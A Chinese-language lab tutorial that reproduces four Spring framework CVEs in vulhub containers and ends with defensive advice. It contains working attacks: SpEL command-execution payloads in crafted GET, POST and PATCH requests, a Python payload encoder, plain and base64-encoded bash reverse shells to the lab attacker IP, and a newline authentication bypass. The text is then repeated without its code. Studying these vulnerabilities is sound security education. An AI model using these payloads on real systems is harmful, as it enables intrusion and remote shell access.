Spring框架漏洞复现及解析
字数 1764 2025-08-10 08:28:24

Spring框架漏洞复现及解析教学文档

1. Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

漏洞简介

Spring Security OAuth是为Spring框架提供安全认证支持的模块。在使用whitelabel views处理错误时,由于使用了Spring Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

漏洞原理

错误页面存在参数获取未进行过滤,导致可以直接对服务器执行系统权限。通过Springs表达式语言(SpEL)构造恶意参数来执行命令。

实验环境

  • 攻击机(Kali): 192.168.200.14
  • 靶机(Ubuntu): 192.168.200.47
  • 靶机目录: /vulhub/spring/CVE-2016-4977

复现步骤

  1. 访问环境: http://IP地址:8080
  2. 识别Spring框架特征(小绿叶图标)
  3. 使用提供的POC脚本对bash脚本进行编码:
    #!/usr/bin/env python
    message = input('Enter message to encode:')
    poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
    for ch in message[1:]:
        poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
    poc += ')}'
    print(poc)
    
  4. 构造反弹shell命令:
    bash -i >& /dev/tcp/192.168.200.14/8888 0>&1
    
  5. 使用编码网站(https://ares-x.com/tools/runtime-exec)进行编码
  6. 在Kali监听8888端口:
    nc -lvvp 8888
    
  7. 触发漏洞的URL:
    http://192.168.200.47:8080/oauth/authorize?response_type=${生成的payload}&client_id=acme&scope=openid&redirect_uri=http://test
    

2. Spring Cloud Function SpEL 代码注入(CVE-2022-22963)

漏洞简介

Spring Cloud Function 3.1.6、3.2.2及更早版本中,当使用路由功能时,用户可以提供特制的SpEL作为路由表达式,可能导致远程代码执行。

实验环境

  • 攻击机(Kali): 192.168.200.14
  • 靶机(Ubuntu): 192.168.200.47
  • 靶机目录: /vulhub/spring/CVE-2022-22963

复现步骤

  1. 访问环境: http://IP地址:8080
  2. 发送恶意POST请求:
    POST /functionRouter HTTP/1.1
    Host: 192.168.200.47:8080
    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
    Content-Type: text/plain
    Content-Length: 4
    
    test
    
  3. 验证文件创建:
    docker exec -it 容器id /bin/bash
    ls /tmp/success
    
  4. 反弹shell:
    • 编码反弹命令:
      bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
      
    • 修改POC中的exec参数为上述编码命令
    • 在Kali监听8888端口

3. Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

漏洞简介

Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求,通过构造好的JSON数据来执行任意Java代码。

实验环境

  • 攻击机(Kali): 192.168.200.14
  • 靶机(Ubuntu): 192.168.200.47
  • 靶机目录: /vulhub/spring/CVE-2017-8046

复现步骤

  1. 访问环境: http://IP地址:8080
  2. 发送恶意PATCH请求:
    PATCH /customers/1 HTTP/1.1
    Host: 192.168.200.47:8080
    Content-Type: application/json-patch+json
    
    [{
      "op": "replace",
      "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname",
      "value": "vulhub"
    }]
    
  3. 进制转换方法(Python):
    payload = b'touch /tmp/success'
    bytecode = ','.join(str(i) for i in list(payload))
    print(bytecode)
    
  4. 反弹shell:
    • 编码反弹命令
    • 转换为字节数组
    • 修改path参数为SpEL表达式执行命令

4. Spring-security 认证绕过漏洞(CVE-2022-22978)

漏洞简介

当Spring-security使用RegexRequestMatcher进行权限配置时,正则表达式中包含"."时,攻击者可以通过构造恶意数据包绕过身份认证。

实验环境

  • 攻击机(Kali): 192.168.200.14
  • 靶机(Ubuntu): 192.168.200.47
  • 靶机目录: /vulhub/spring/CVE-2022-22978

复现步骤

  1. 访问环境: http://IP地址:8080
  2. 尝试访问/admin页面会被拒绝
  3. 使用换行符绕过认证:
    /admin/index%0a
    
    (\r的URL编码为%0d,\n的URL编码为%0a)

总结

  1. SpEL表达式注入是Spring框架常见漏洞类型(CVE-2016-4977, CVE-2022-22963)

  2. HTTP方法滥用(PATCH)可导致RCE(CVE-2017-8046)

  3. 认证绕过可通过特殊字符实现(CVE-2022-22978)

  4. 漏洞利用关键点:

    • 识别Spring框架特征
    • 构造正确的SpEL表达式
    • 使用编码/进制转换处理payload
    • 利用换行符等特殊字符绕过限制
  5. 防护建议:

    • 及时更新Spring框架版本
    • 禁用不必要的HTTP方法
    • 对用户输入进行严格过滤
    • 避免在安全配置中使用包含"."的正则表达式
Spring框架漏洞复现及解析教学文档 1. Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977) 漏洞简介 Spring Security OAuth是为Spring框架提供安全认证支持的模块。在使用whitelabel views处理错误时,由于使用了Spring Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。 漏洞原理 错误页面存在参数获取未进行过滤,导致可以直接对服务器执行系统权限。通过Springs表达式语言(SpEL)构造恶意参数来执行命令。 实验环境 攻击机(Kali): 192.168.200.14 靶机(Ubuntu): 192.168.200.47 靶机目录: /vulhub/spring/CVE-2016-4977 复现步骤 访问环境: http://IP地址:8080 识别Spring框架特征(小绿叶图标) 使用提供的POC脚本对bash脚本进行编码: 构造反弹shell命令: 使用编码网站(https://ares-x.com/tools/runtime-exec)进行编码 在Kali监听8888端口: 触发漏洞的URL: 2. Spring Cloud Function SpEL 代码注入(CVE-2022-22963) 漏洞简介 Spring Cloud Function 3.1.6、3.2.2及更早版本中,当使用路由功能时,用户可以提供特制的SpEL作为路由表达式,可能导致远程代码执行。 实验环境 攻击机(Kali): 192.168.200.14 靶机(Ubuntu): 192.168.200.47 靶机目录: /vulhub/spring/CVE-2022-22963 复现步骤 访问环境: http://IP地址:8080 发送恶意POST请求: 验证文件创建: 反弹shell: 编码反弹命令: 修改POC中的exec参数为上述编码命令 在Kali监听8888端口 3. Spring Data Rest 远程命令执行漏洞(CVE-2017-8046) 漏洞简介 Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求,通过构造好的JSON数据来执行任意Java代码。 实验环境 攻击机(Kali): 192.168.200.14 靶机(Ubuntu): 192.168.200.47 靶机目录: /vulhub/spring/CVE-2017-8046 复现步骤 访问环境: http://IP地址:8080 发送恶意PATCH请求: 进制转换方法(Python): 反弹shell: 编码反弹命令 转换为字节数组 修改path参数为SpEL表达式执行命令 4. Spring-security 认证绕过漏洞(CVE-2022-22978) 漏洞简介 当Spring-security使用RegexRequestMatcher进行权限配置时,正则表达式中包含"."时,攻击者可以通过构造恶意数据包绕过身份认证。 实验环境 攻击机(Kali): 192.168.200.14 靶机(Ubuntu): 192.168.200.47 靶机目录: /vulhub/spring/CVE-2022-22978 复现步骤 访问环境: http://IP地址:8080 尝试访问/admin页面会被拒绝 使用换行符绕过认证: (\r的URL编码为%0d,\n的URL编码为%0a) 总结 SpEL表达式注入 是Spring框架常见漏洞类型(CVE-2016-4977, CVE-2022-22963) HTTP方法滥用 (PATCH)可导致RCE(CVE-2017-8046) 认证绕过 可通过特殊字符实现(CVE-2022-22978) 漏洞利用关键点: 识别Spring框架特征 构造正确的SpEL表达式 使用编码/进制转换处理payload 利用换行符等特殊字符绕过限制 防护建议: 及时更新Spring框架版本 禁用不必要的HTTP方法 对用户输入进行严格过滤 避免在安全配置中使用包含"."的正则表达式